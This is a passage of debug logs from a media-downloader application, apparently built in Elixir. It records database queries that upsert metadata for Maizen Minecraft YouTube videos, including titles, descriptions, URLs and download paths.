s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.405 [debug] QUERY OK source="media_items" db=1.2ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 19:05:50.406 [debug] QUERY OK source="media_items" db=0.5ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "88a01fed-688d-47b6-b8df-79eafa267d76", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 19:05:50.406 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.407 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 19:05:50.408 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "900ce11c-140c-4bae-9086-50dbe19a7773", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 19:05:50.409 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.410 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 19:05:50.411 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "8013f1b1-d854-4cd7-920f-bb9e7bfb76b6", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 19:05:50.411 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.413 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 19:05:50.413 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "41d0ada2-4976-4718-a477-e89192f78dd7", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 19:05:50.414 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.415 [debug] QUERY OK source="media_items" db=1.2ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 19:05:50.416 [debug] QUERY OK source="media_items" db=0.6ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "cb43925b-bf16-4c4e-bc1d-6b50e219eb6f", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 19:05:50.417 [debug] QUERY OK source="sources" db=0.3ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.418 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 19:05:50.419 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "670882ad-93b5-4532-9092-4d0cfe841928", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 19:05:50.419 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.421 [debug] QUERY OK source="media_items" db=1.1ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 19:05:50.422 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "539d6c36-422f-4d3a-af4a-7d18c5bed908", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 19:05:50.422 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.423 [debug] QUERY OK source="media_items" db=1.2ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 19:05:50.424 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "26c3c494-2ada-4d5d-8e41-74f9b90fe835", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 19:05:50.425 [debug] QUERY OK source="sources" db=0.5ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.426 [debug] QUERY OK source="media_items" db=1.1ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 19:05:50.427 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "f07f46c9-f7a4-462f-8b26-f839ddbacc06", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 19:05:50.428 [debug] QUERY OK source="sources" db=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.429 [debug] QUERY OK source="media_items" db=1.2ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 19:05:50.430 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "9185883f-403f-4c7a-bcde-7a80e1789b37", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 19:05:50.430 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.432 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 19:05:50.432 [debug] QUERY OK source="media_items" db=0.6ms idle=4.1ms INSERT INTO "media_items" AS m0 